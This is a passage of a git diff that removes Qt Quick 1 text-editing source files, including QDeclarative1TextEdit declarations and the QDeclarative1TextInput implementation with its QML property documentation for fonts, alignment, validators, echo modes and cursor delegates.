cursorRectangleChanged(); - void selectionStartChanged(); - void selectionEndChanged(); - void selectionChanged(); - void colorChanged(const QColor &color); - void selectionColorChanged(const QColor &color); - void selectedTextColorChanged(const QColor &color); - void fontChanged(const QFont &font); - void horizontalAlignmentChanged(HAlignment alignment); - void verticalAlignmentChanged(VAlignment alignment); - void wrapModeChanged(); - void lineCountChanged(); - void textFormatChanged(TextFormat textFormat); - void readOnlyChanged(bool isReadOnly); - void cursorVisibleChanged(bool isCursorVisible); - void cursorDelegateChanged(); - void activeFocusOnPressChanged(bool activeFocusOnPressed); - void persistentSelectionChanged(bool isPersistentSelection); - void textMarginChanged(qreal textMargin); - void selectByMouseChanged(bool selectByMouse); - Q_REVISION(1) void mouseSelectionModeChanged(SelectionMode mode); - Q_REVISION(1) void linkActivated(const QString &link); - Q_REVISION(1) void canPasteChanged(); - Q_REVISION(1) void inputMethodComposingChanged(); - Q_REVISION(1) void effectiveHorizontalAlignmentChanged(); - -public Q_SLOTS: - void selectAll(); - void selectWord(); - void select(int start, int end); - Q_REVISION(1) void deselect(); - Q_REVISION(1) bool isRightToLeft(int start, int end); -#ifndef QT_NO_CLIPBOARD - void cut(); - void copy(); - void paste(); -#endif - -private Q_SLOTS: - void updateImgCache(const QRectF &rect); - void q_textChanged(); - void updateSelectionMarkers(); - void moveCursorDelegate(); - void loadCursorDelegate(); - void q_canPasteChanged(); - -private: - void updateSize(); - void updateTotalLines(); - -protected: - virtual void geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry); - - bool event(QEvent *); - void keyPressEvent(QKeyEvent *); - void keyReleaseEvent(QKeyEvent *); - void focusInEvent(QFocusEvent *event); - - // mouse filter? - void mousePressEvent(QGraphicsSceneMouseEvent *event); - void mouseReleaseEvent(QGraphicsSceneMouseEvent *event); - void mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event); - void mouseMoveEvent(QGraphicsSceneMouseEvent *event); - - void inputMethodEvent(QInputMethodEvent *e); - - void drawContents(QPainter *, const QRect &); -private: - Q_DISABLE_COPY(QDeclarative1TextEdit) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1TextEdit) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1TextEdit) - -QT_END_HEADER - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativetextedit_p_p.h b/src/qtquick1/graphicsitems/qdeclarativetextedit_p_p.h deleted file mode 100644 index 38eef69348..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativetextedit_p_p.h +++ /dev/null @@ -1,133 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVETEXTEDIT_P_H -#define QDECLARATIVETEXTEDIT_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "qdeclarativeitem.h" -#include "private/qdeclarativeimplicitsizeitem_p_p.h" - -#include - -QT_BEGIN_NAMESPACE - -class QTextLayout; -class QTextDocument; -class QWidgetTextControl; -class QDeclarative1TextEditPrivate : public QDeclarative1ImplicitSizePaintedItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1TextEdit) - -public: - QDeclarative1TextEditPrivate() - : color("black"), hAlign(QDeclarative1TextEdit::AlignLeft), vAlign(QDeclarative1TextEdit::AlignTop), - imgDirty(true), dirty(false), richText(false), cursorVisible(false), focusOnPress(true), - showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), requireImplicitWidth(false), - hAlignImplicit(true), rightToLeftText(false), textMargin(0.0), lastSelectionStart(0), lastSelectionEnd(0), - cursorComponent(0), cursor(0), format(QDeclarative1TextEdit::AutoText), document(0), wrapMode(QDeclarative1TextEdit::NoWrap), - mouseSelectionMode(QDeclarative1TextEdit::SelectCharacters), lineCount(0), selectByMouse(false), canPaste(false), - yoff(0) - { - } - - void init(); - - void updateDefaultTextOption(); - void relayoutDocument(); - bool determineHorizontalAlignment(); - bool setHAlign(QDeclarative1TextEdit::HAlignment, bool forceAlign = false); - void mirrorChange(); - qreal implicitWidth() const; - void focusChanged(bool); - - QString text; - QFont font; - QFont sourceFont; - QColor color; - QColor selectionColor; - QColor selectedTextColor; - QString style; - QColor styleColor; - QPixmap imgCache; - QPixmap imgStyleCache; - QDeclarative1TextEdit::HAlignment hAlign; - QDeclarative1TextEdit::VAlignment vAlign; - bool imgDirty : 1; - bool dirty : 1; - bool richText : 1; - bool cursorVisible : 1; - bool focusOnPress : 1; - bool showInputPanelOnFocus : 1; - bool clickCausedFocus : 1; - bool persistentSelection : 1; - bool requireImplicitWidth:1; - bool hAlignImplicit:1; - bool rightToLeftText:1; - qreal textMargin; - int lastSelectionStart; - int lastSelectionEnd; - QDeclarativeComponent* cursorComponent; - QDeclarativeItem* cursor; - QDeclarative1TextEdit::TextFormat format; - QTextDocument *document; - QWidgetTextControl *control; - QDeclarative1TextEdit::WrapMode wrapMode; - QDeclarative1TextEdit::SelectionMode mouseSelectionMode; - int lineCount; - bool selectByMouse; - bool canPaste; - int yoff; - QSize paintedSize; -}; - -QT_END_NAMESPACE -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativetextinput.cpp b/src/qtquick1/graphicsitems/qdeclarativetextinput.cpp deleted file mode 100644 index 32dd65eaea..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativetextinput.cpp +++ /dev/null @@ -1,2015 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "private/qdeclarativetextinput_p.h" -#include "private/qdeclarativetextinput_p_p.h" - -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#ifndef QT_NO_LINEEDIT - -QT_BEGIN_NAMESPACE - - - -/*! - \qmlclass TextInput QDeclarative1TextInput - \inqmlmodule QtQuick 1 - \ingroup qml-basic-visual-elements - \since QtQuick 1.0 - \brief The TextInput item displays an editable line of text. - \inherits Item - - The TextInput element displays a single line of editable plain text. - - TextInput is used to accept a line of text input. Input constraints - can be placed on a TextInput item (for example, through a \l validator or \l inputMask), - and setting \l echoMode to an appropriate value enables TextInput to be used for - a password input field. - - On Mac OS X, the Up/Down key bindings for Home/End are explicitly disabled. - If you want such bindings (on any platform), you will need to construct them in QML. - - \sa TextEdit, Text, {declarative/text/textselection}{Text Selection example} -*/ -QDeclarative1TextInput::QDeclarative1TextInput(QDeclarativeItem* parent) - : QDeclarative1ImplicitSizePaintedItem(*(new QDeclarative1TextInputPrivate), parent) -{ - Q_D(QDeclarative1TextInput); - d->init(); -} - -QDeclarative1TextInput::~QDeclarative1TextInput() -{ -} - -/*! - \qmlproperty string QtQuick1::TextInput::text - - The text in the TextInput. -*/ - -QString QDeclarative1TextInput::text() const -{ - Q_D(const QDeclarative1TextInput); - return d->control->text(); -} - -void QDeclarative1TextInput::setText(const QString &s) -{ - Q_D(QDeclarative1TextInput); - if(s == text()) - return; - d->control->setText(s); -} - -/*! - \qmlproperty string QtQuick1::TextInput::font.family - - Sets the family name of the font. - - The family name is case insensitive and may optionally include a foundry name, e.g. "Helvetica [Cronyx]". - If the family is available from more than one foundry and the foundry isn't specified, an arbitrary foundry is chosen. - If the family isn't available a family will be set using the font matching algorithm. -*/ - -/*! - \qmlproperty bool QtQuick1::TextInput::font.bold - - Sets whether the font weight is bold. -*/ - -/*! - \qmlproperty enumeration QtQuick1::TextInput::font.weight - - Sets the font's weight. - - The weight can be one of: - \list - \o Font.Light - \o Font.Normal - the default - \o Font.DemiBold - \o Font.Bold - \o Font.Black - \endlist - - \qml - TextInput { text: "Hello"; font.weight: Font.DemiBold } - \endqml -*/ - -/*! - \qmlproperty bool QtQuick1::TextInput::font.italic - - Sets whether the font has an italic style. -*/ - -/*! - \qmlproperty bool QtQuick1::TextInput::font.underline - - Sets whether the text is underlined. -*/ - -/*! - \qmlproperty bool QtQuick1::TextInput::font.strikeout - - Sets whether the font has a strikeout style. -*/ - -/*! - \qmlproperty real QtQuick1::TextInput::font.pointSize - - Sets the font size in points. The point size must be greater than zero. -*/ - -/*! - \qmlproperty int QtQuick1::TextInput::font.pixelSize - - Sets the font size in pixels. - - Using this function makes the font device dependent. - Use \c pointSize to set the size of the font in a device independent manner. -*/ - -/*! - \qmlproperty real QtQuick1::TextInput::font.letterSpacing - - Sets the letter spacing for the font. - - Letter spacing changes the default spacing between individual letters in the font. - A positive value increases the letter spacing by the corresponding pixels; a negative value decreases the spacing. -*/ - -/*! - \qmlproperty real QtQuick1::TextInput::font.wordSpacing - - Sets the word spacing for the font. - - Word spacing changes the default spacing between individual words. - A positive value increases the word spacing by a corresponding amount of pixels, - while a negative value decreases the inter-word spacing accordingly. -*/ - -/*! - \qmlproperty enumeration QtQuick1::TextInput::font.capitalization - - Sets the capitalization for the text. - - \list - \o Font.MixedCase - This is the normal text rendering option where no capitalization change is applied. - \o Font.AllUppercase - This alters the text to be rendered in all uppercase type. - \o Font.AllLowercase - This alters the text to be rendered in all lowercase type. - \o Font.SmallCaps - This alters the text to be rendered in small-caps type. - \o Font.Capitalize - This alters the text to be rendered with the first character of each word as an uppercase character. - \endlist - - \qml - TextInput { text: "Hello"; font.capitalization: Font.AllLowercase } - \endqml -*/ - -QFont QDeclarative1TextInput::font() const -{ - Q_D(const QDeclarative1TextInput); - return d->sourceFont; -} - -void QDeclarative1TextInput::setFont(const QFont &font) -{ - Q_D(QDeclarative1TextInput); - if (d->sourceFont == font) - return; - - d->sourceFont = font; - QFont oldFont = d->font; - d->font = font; - if (d->font.pointSizeF() != -1) { - // 0.5pt resolution - qreal size = qRound(d->font.pointSizeF()*2.0); - d->font.setPointSizeF(size/2.0); - } - - if (oldFont != d->font) { - d->control->setFont(d->font); - updateSize(); - updateCursorRectangle(); - if(d->cursorItem){ - d->cursorItem->setHeight(QFontMetrics(d->font).height()); - } - } - emit fontChanged(d->sourceFont); -} - -/*! - \qmlproperty color QtQuick1::TextInput::color - - The text color. -*/ -QColor QDeclarative1TextInput::color() const -{ - Q_D(const QDeclarative1TextInput); - return d->color; -} - -void QDeclarative1TextInput::setColor(const QColor &c) -{ - Q_D(QDeclarative1TextInput); - if (c != d->color) { - d->color = c; - clearCache(); - update(); - emit colorChanged(c); - } -} - - -/*! - \qmlproperty color QtQuick1::TextInput::selectionColor - - The text highlight color, used behind selections. -*/ -QColor QDeclarative1TextInput::selectionColor() const -{ - Q_D(const QDeclarative1TextInput); - return d->selectionColor; -} - -void QDeclarative1TextInput::setSelectionColor(const QColor &color) -{ - Q_D(QDeclarative1TextInput); - if (d->selectionColor == color) - return; - - d->selectionColor = color; - QPalette p = d->control->palette(); - p.setColor(QPalette::Highlight, d->selectionColor); - d->control->setPalette(p); - if (d->control->hasSelectedText()) { - clearCache(); - update(); - } - emit selectionColorChanged(color); -} - -/*! - \qmlproperty color QtQuick1::TextInput::selectedTextColor - - The highlighted text color, used in selections. -*/ -QColor QDeclarative1TextInput::selectedTextColor() const -{ - Q_D(const QDeclarative1TextInput); - return d->selectedTextColor; -} - -void QDeclarative1TextInput::setSelectedTextColor(const QColor &color) -{ - Q_D(QDeclarative1TextInput); - if (d->selectedTextColor == color) - return; - - d->selectedTextColor = color; - QPalette p = d->control->palette(); - p.setColor(QPalette::HighlightedText, d->selectedTextColor); - d->control->setPalette(p); - if (d->control->hasSelectedText()) { - clearCache(); - update(); - } - emit selectedTextColorChanged(color); -} - -/*! - \qmlproperty enumeration QtQuick1::TextInput::horizontalAlignment - \qmlproperty enumeration QtQuick1::TextInput::effectiveHorizontalAlignment - - Sets the horizontal alignment of the text within the TextInput item's - width and height. By default, the text alignment follows the natural alignment - of the text, for example text that is read from left to right will be aligned to - the left. - - TextInput does not have vertical alignment, as the natural height is - exactly the height of the single line of text. If you set the height - manually to something larger, TextInput will always be top aligned - vertically. You can use anchors to align it however you want within - another item. - - The valid values for \c horizontalAlignment are \c TextInput.AlignLeft, \c TextInput.AlignRight and - \c TextInput.AlignHCenter. - - When using the attached property LayoutMirroring::enabled to mirror application - layouts, the horizontal alignment of text will also be mirrored. However, the property - \c horizontalAlignment will remain unchanged. To query the effective horizontal alignment - of TextInput, use the read-only property \c effectiveHorizontalAlignment. -*/ -QDeclarative1TextInput::HAlignment QDeclarative1TextInput::hAlign() const -{ - Q_D(const QDeclarative1TextInput); - return d->hAlign; -} - -void QDeclarative1TextInput::setHAlign(HAlignment align) -{ - Q_D(QDeclarative1TextInput); - bool forceAlign = d->hAlignImplicit && d->effectiveLayoutMirror; - d->hAlignImplicit = false; - if (d->setHAlign(align, forceAlign) && isComponentComplete()) { - updateCursorRectangle(); - } -} - -void QDeclarative1TextInput::resetHAlign() -{ - Q_D(QDeclarative1TextInput); - d->hAlignImplicit = true; - if (d->determineHorizontalAlignment() && isComponentComplete()) { - updateCursorRectangle(); - } -} - -QDeclarative1TextInput::HAlignment QDeclarative1TextInput::effectiveHAlign() const -{ - Q_D(const QDeclarative1TextInput); - QDeclarative1TextInput::HAlignment effectiveAlignment = d->hAlign; - if (!d->hAlignImplicit && d->effectiveLayoutMirror) { - switch (d->hAlign) { - case QDeclarative1TextInput::AlignLeft: - effectiveAlignment = QDeclarative1TextInput::AlignRight; - break; - case QDeclarative1TextInput::AlignRight: - effectiveAlignment = QDeclarative1TextInput::AlignLeft; - break; - default: - break; - } - } - return effectiveAlignment; -} - -bool QDeclarative1TextInputPrivate::setHAlign(QDeclarative1TextInput::HAlignment alignment, bool forceAlign) -{ - Q_Q(QDeclarative1TextInput); - if ((hAlign != alignment || forceAlign) && alignment <= QDeclarative1TextInput::AlignHCenter) { // justify not supported - QDeclarative1TextInput::HAlignment oldEffectiveHAlign = q->effectiveHAlign(); - hAlign = alignment; - emit q->horizontalAlignmentChanged(alignment); - if (oldEffectiveHAlign != q->effectiveHAlign()) - emit q->effectiveHorizontalAlignmentChanged(); - return true; - } - return false; -} - -bool QDeclarative1TextInputPrivate::determineHorizontalAlignment() -{ - if (hAlignImplicit) { - // if no explicit alignment has been set, follow the natural layout direction of the text - QString text = control->text(); - if (text.isEmpty()) - text = control->preeditAreaText(); - bool isRightToLeft = text.isEmpty() - ? qApp->inputPanel()->inputDirection() == Qt::RightToLeft - : text.isRightToLeft(); - return setHAlign(isRightToLeft ? QDeclarative1TextInput::AlignRight : QDeclarative1TextInput::AlignLeft); - } - return false; -} - -void QDeclarative1TextInputPrivate::mirrorChange() -{ - Q_Q(QDeclarative1TextInput); - if (q->isComponentComplete()) { - if (!hAlignImplicit && (hAlign == QDeclarative1TextInput::AlignRight || hAlign == QDeclarative1TextInput::AlignLeft)) { - q->updateCursorRectangle(); - emit q->effectiveHorizontalAlignmentChanged(); - } - } -} - -/*! - \qmlproperty bool QtQuick1::TextInput::readOnly - - Sets whether user input can modify the contents of the TextInput. - - If readOnly is set to true, then user input will not affect the text - property. Any bindings or attempts to set the text property will still - work. -*/ - -bool QDeclarative1TextInput::isReadOnly() const -{ - Q_D(const QDeclarative1TextInput); - return d->control->isReadOnly(); -} - -void QDeclarative1TextInput::setReadOnly(bool ro) -{ - Q_D(QDeclarative1TextInput); - if (d->control->isReadOnly() == ro) - return; - - setFlag(QGraphicsItem::ItemAcceptsInputMethod, !ro); - d->control->setReadOnly(ro); - - emit readOnlyChanged(ro); -} - -/*! - \qmlproperty int QtQuick1::TextInput::maximumLength - The maximum permitted length of the text in the TextInput. - - If the text is too long, it is truncated at the limit. - - By default, this property contains a value of 32767. -*/ -int QDeclarative1TextInput::maxLength() const -{ - Q_D(const QDeclarative1TextInput); - return d->control->maxLength(); -} - -void QDeclarative1TextInput::setMaxLength(int ml) -{ - Q_D(QDeclarative1TextInput); - if (d->control->maxLength() == ml) - return; - - d->control->setMaxLength(ml); - - emit maximumLengthChanged(ml); -} - -/*! - \qmlproperty bool QtQuick1::TextInput::cursorVisible - Set to true when the TextInput shows a cursor. - - This property is set and unset when the TextInput gets active focus, so that other - properties can be bound to whether the cursor is currently showing. As it - gets set and unset automatically, when you set the value yourself you must - keep in mind that your value may be overwritten. - - It can be set directly in script, for example if a KeyProxy might - forward keys to it and you desire it to look active when this happens - (but without actually giving it active focus). - - It should not be set directly on the element, like in the below QML, - as the specified value will be overridden an lost on focus changes. - - \code - TextInput { - text: "Text" - cursorVisible: false - } - \endcode - - In the above snippet the cursor will still become visible when the - TextInput gains active focus. -*/ -bool QDeclarative1TextInput::isCursorVisible() const -{ - Q_D(const QDeclarative1TextInput); - return d->cursorVisible; -} - -void QDeclarative1TextInput::setCursorVisible(bool on) -{ - Q_D(QDeclarative1TextInput); - if (d->cursorVisible == on) - return; - d->cursorVisible = on; - d->control->setCursorBlinkPeriod(on?QApplication::cursorFlashTime():0); - QRect r = d->control->cursorRect(); - if (d->control->inputMask().isEmpty()) - updateRect(r); - else - updateRect(); - emit cursorVisibleChanged(d->cursorVisible); -} - -/*! - \qmlproperty int QtQuick1::TextInput::cursorPosition - The position of the cursor in the TextInput. -*/ -int QDeclarative1TextInput::cursorPosition() const -{ - Q_D(const QDeclarative1TextInput); - return d->control->cursor(); -} -void QDeclarative1TextInput::setCursorPosition(int cp) -{ - Q_D(QDeclarative1TextInput); - if (cp < 0 || cp > d->control->text().length()) - return; - d->control->moveCursor(cp); -} - -/*! - Returns a Rect which encompasses the cursor, but which may be larger than is - required. Ignores custom cursor delegates. -*/ -QRect QDeclarative1TextInput::cursorRectangle() const -{ - Q_D(const QDeclarative1TextInput); - QRect r = d->control->cursorRect(); - // Scroll and make consistent with TextEdit - // QWidgetLineControl inexplicably adds 1 to the height and horizontal padding - // for unicode direction markers. - r.adjust(5 - d->hscroll, 0, -4 - d->hscroll, -1); - return r; -} - -/*! - \qmlproperty int QtQuick1::TextInput::selectionStart - - The cursor position before the first character in the current selection. - - This property is read-only. To change the selection, use select(start,end), - selectAll(), or selectWord(). - - \sa selectionEnd, cursorPosition, selectedText -*/ -int QDeclarative1TextInput::selectionStart() const -{ - Q_D(const QDeclarative1TextInput); - return d->lastSelectionStart; -} - -/*! - \qmlproperty int QtQuick1::TextInput::selectionEnd - - The cursor position after the last character in the current selection. - - This property is read-only. To change the selection, use select(start,end), - selectAll(), or selectWord(). - - \sa selectionStart, cursorPosition, selectedText -*/ -int QDeclarative1TextInput::selectionEnd() const -{ - Q_D(const QDeclarative1TextInput); - return d->lastSelectionEnd; -} - -/*! - \qmlmethod void QtQuick1::TextInput::select(int start, int end) - - Causes the text from \a start to \a end to be selected. - - If either start or end is out of range, the selection is not changed. - - After calling this, selectionStart will become the lesser - and selectionEnd will become the greater (regardless of the order passed - to this method). - - \sa selectionStart, selectionEnd -*/ -void QDeclarative1TextInput::select(int start, int end) -{ - Q_D(QDeclarative1TextInput); - if (start < 0 || end < 0 || start > d->control->text().length() || end > d->control->text().length()) - return; - d->control->setSelection(start, end-start); -} - -/*! - \qmlproperty string QtQuick1::TextInput::selectedText - - This read-only property provides the text currently selected in the - text input. - - It is equivalent to the following snippet, but is faster and easier - to use. - - \js - myTextInput.text.toString().substring(myTextInput.selectionStart, - myTextInput.selectionEnd); - \endjs -*/ -QString QDeclarative1TextInput::selectedText() const -{ - Q_D(const QDeclarative1TextInput); - return d->control->selectedText(); -} - -/*! - \qmlproperty bool QtQuick1::TextInput::activeFocusOnPress - - Whether the TextInput should gain active focus on a mouse press. By default this is - set to true. -*/ -bool QDeclarative1TextInput::focusOnPress() const -{ - Q_D(const QDeclarative1TextInput); - return d->focusOnPress; -} - -void QDeclarative1TextInput::setFocusOnPress(bool b) -{ - Q_D(QDeclarative1TextInput); - if (d->focusOnPress == b) - return; - - d->focusOnPress = b; - - emit activeFocusOnPressChanged(d->focusOnPress); -} - -/*! - \qmlproperty bool QtQuick1::TextInput::autoScroll - - Whether the TextInput should scroll when the text is longer than the width. By default this is - set to true. -*/ -bool QDeclarative1TextInput::autoScroll() const -{ - Q_D(const QDeclarative1TextInput); - return d->autoScroll; -} - -void QDeclarative1TextInput::setAutoScroll(bool b) -{ - Q_D(QDeclarative1TextInput); - if (d->autoScroll == b) - return; - - d->autoScroll = b; - //We need to repaint so that the scrolling is taking into account. - updateSize(true); - updateCursorRectangle(); - emit autoScrollChanged(d->autoScroll); -} - -/*! - \qmlclass IntValidator QIntValidator - \inqmlmodule QtQuick 1 - \ingroup qml-basic-visual-elements - - This element provides a validator for integer values. - - IntValidator uses the \l {QLocale::setDefault()}{default locale} to interpret the number and - will accept locale specific digits, group separators, and positive and negative signs. In - addition, IntValidator is always guaranteed to accept a number formatted according to the "C" - locale. -*/ -/*! - \qmlproperty int QtQuick1::IntValidator::top - - This property holds the validator's highest acceptable value. - By default, this property's value is derived from the highest signed integer available (typically 2147483647). -*/ -/*! - \qmlproperty int QtQuick1::IntValidator::bottom - - This property holds the validator's lowest acceptable value. - By default, this property's value is derived from the lowest signed integer available (typically -2147483647). -*/ - -/*! - \qmlclass DoubleValidator QDoubleValidator - \inqmlmodule QtQuick 1 - \ingroup qml-basic-visual-elements - - This element provides a validator for non-integer numbers. -*/ - -/*! - \qmlproperty real QtQuick1::DoubleValidator::top - - This property holds the validator's maximum acceptable value. - By default, this property contains a value of infinity. -*/ -/*! - \qmlproperty real QtQuick1::DoubleValidator::bottom - - This property holds the validator's minimum acceptable value. - By default, this property contains a value of -infinity. -*/ -/*! - \qmlproperty int QtQuick1::DoubleValidator::decimals - - This property holds the validator's maximum number of digits after the decimal point. - By default, this property contains a value of 1000. -*/ -/*! - \qmlproperty enumeration QtQuick1::DoubleValidator::notation - This property holds the notation of how a string can describe a number. - - The possible values for this property are: - - \list - \o DoubleValidator.StandardNotation - \o DoubleValidator.ScientificNotation (default) - \endlist - - If this property is set to DoubleValidator.ScientificNotation, the written number may have an exponent part (e.g. 1.5E-2). -*/ - -/*! - \qmlclass RegExpValidator QRegExpValidator - \inqmlmodule QtQuick 1 - \ingroup qml-basic-visual-elements - - This element provides a validator, which counts as valid any string which - matches a specified regular expression. -*/ -/*! - \qmlproperty regExp QtQuick1::RegExpValidator::regExp - - This property holds the regular expression used for validation. - - Note that this property should be a regular expression in JS syntax, e.g /a/ for the regular expression - matching "a". - - By default, this property contains a regular expression with the pattern .* that matches any string. -*/ - -/*! - \qmlproperty Validator QtQuick1::TextInput::validator - - Allows you to set a validator on the TextInput. When a validator is set - the TextInput will only accept input which leaves the text property in - an acceptable or intermediate state. The accepted signal will only be sent - if the text is in an acceptable state when enter is pressed. - - Currently supported validators are IntValidator, DoubleValidator and - RegExpValidator. An example of using validators is shown below, which allows - input of integers between 11 and 31 into the text input: - - \code - import QtQuick 1.0 - TextInput{ - validator: IntValidator{bottom: 11; top: 31;} - focus: true - } - \endcode - - \sa acceptableInput, inputMask -*/ -#ifndef QT_NO_VALIDATOR -QValidator* QDeclarative1TextInput::validator() const -{ - Q_D(const QDeclarative1TextInput); - //###const cast isn't good, but needed for property system? - return const_cast(d->control->validator()); -} - -void QDeclarative1TextInput::setValidator(QValidator* v) -{ - Q_D(QDeclarative1TextInput); - if (d->control->validator() == v) - return; - - d->control->setValidator(v); - if(!d->control->hasAcceptableInput()){ - d->oldValidity = false; - emit acceptableInputChanged(); - } - - emit validatorChanged(); -} -#endif // QT_NO_VALIDATOR - -/*! - \qmlproperty string QtQuick1::TextInput::inputMask - - Allows you to set an input mask on the TextInput, restricting the allowable - text inputs. See QLineEdit::inputMask for further details, as the exact - same mask strings are used by TextInput. - - \sa acceptableInput, validator -*/ -QString QDeclarative1TextInput::inputMask() const -{ - Q_D(const QDeclarative1TextInput); - return d->control->inputMask(); -} - -void QDeclarative1TextInput::setInputMask(const QString &im) -{ - Q_D(QDeclarative1TextInput); - if (d->control->inputMask() == im) - return; - - d->control->setInputMask(im); - emit inputMaskChanged(d->control->inputMask()); -} - -/*! - \qmlproperty bool QtQuick1::TextInput::acceptableInput - - This property is always true unless a validator or input mask has been set. - If a validator or input mask has been set, this property will only be true - if the current text is acceptable to the validator or input mask as a final - string (not as an intermediate string). -*/ -bool QDeclarative1TextInput::hasAcceptableInput() const -{ - Q_D(const QDeclarative1TextInput); - return d->control->hasAcceptableInput(); -} - -/*! - \qmlsignal QtQuick1::TextInput::onAccepted() - - This handler is called when the Return or Enter key is pressed. - Note that if there is a \l validator or \l inputMask set on the text - input, the handler will only be emitted if the input is in an acceptable - state. -*/ - -void QDeclarative1TextInputPrivate::updateInputMethodHints() -{ - Q_Q(QDeclarative1TextInput); - Qt::InputMethodHints hints = inputMethodHints; - uint echo = control->echoMode(); - if (echo == QDeclarative1TextInput::Password || echo == QDeclarative1TextInput::NoEcho) - hints |= Qt::ImhHiddenText; - else if (echo == QDeclarative1TextInput::PasswordEchoOnEdit) - hints &= ~Qt::ImhHiddenText; - if (echo != QDeclarative1TextInput::Normal) { - hints |= Qt::ImhNoAutoUppercase; - hints |= Qt::ImhNoPredictiveText; - } - q->setInputMethodHints(hints); -} - -/*! - \qmlproperty enumeration QtQuick1::TextInput::echoMode - - Specifies how the text should be displayed in the TextInput. - \list - \o TextInput.Normal - Displays the text as it is. (Default) - \o TextInput.Password - Displays asterixes instead of characters. - \o TextInput.NoEcho - Displays nothing. - \o TextInput.PasswordEchoOnEdit - Displays characters as they are entered - while editing, otherwise displays asterisks. - \endlist -*/ -QDeclarative1TextInput::EchoMode QDeclarative1TextInput::echoMode() const -{ - Q_D(const QDeclarative1TextInput); - return (QDeclarative1TextInput::EchoMode)d->control->echoMode(); -} - -void QDeclarative1TextInput::setEchoMode(QDeclarative1TextInput::EchoMode echo) -{ - Q_D(QDeclarative1TextInput); - if (echoMode() == echo) - return; - d->control->setEchoMode(echo); - d->updateInputMethodHints(); - q_textChanged(); - emit echoModeChanged(echoMode()); -} - -Qt::InputMethodHints QDeclarative1TextInput::imHints() const -{ - Q_D(const QDeclarative1TextInput); - return d->inputMethodHints; -} - -void QDeclarative1TextInput::setIMHints(Qt::InputMethodHints hints) -{ - Q_D(QDeclarative1TextInput); - if (d->inputMethodHints == hints) - return; - d->inputMethodHints = hints; - d->updateInputMethodHints(); -} - -/*! - \qmlproperty Component QtQuick1::TextInput::cursorDelegate - The delegate for the cursor in the TextInput. - - If you set a cursorDelegate for a TextInput, this delegate will be used for - drawing the cursor instead of the standard cursor. An instance of the - delegate will be created and managed by the TextInput when a cursor is - needed, and the x property of delegate instance will be set so as - to be one pixel before the top left of the current character. - - Note that the root item of the delegate component must be a QDeclarativeItem or - QDeclarativeItem derived item. -*/ -QDeclarativeComponent* QDeclarative1TextInput::cursorDelegate() const -{ - Q_D(const QDeclarative1TextInput); - return d->cursorComponent; -} - -void QDeclarative1TextInput::setCursorDelegate(QDeclarativeComponent* c) -{ - Q_D(QDeclarative1TextInput); - if (d->cursorComponent == c) - return; - - d->cursorComponent = c; - if(!c){ - //note that the components are owned by something else - delete d->cursorItem; - }else{ - d->startCreatingCursor(); - } - - emit cursorDelegateChanged(); -} - -void QDeclarative1TextInputPrivate::startCreatingCursor() -{ - Q_Q(QDeclarative1TextInput); - if(cursorComponent->isReady()){ - q->createCursor(); - }else if(cursorComponent->isLoading()){ - q->connect(cursorComponent, SIGNAL(statusChanged(int)), - q, SLOT(createCursor())); - }else {//isError - qmlInfo(q, cursorComponent->errors()) << QDeclarative1TextInput::tr("Could not load cursor delegate"); - } -} - -void QDeclarative1TextInput::createCursor() -{ - Q_D(QDeclarative1TextInput); - if(d->cursorComponent->isError()){ - qmlInfo(this, d->cursorComponent->errors()) << tr("Could not load cursor delegate"); - return; - } - - 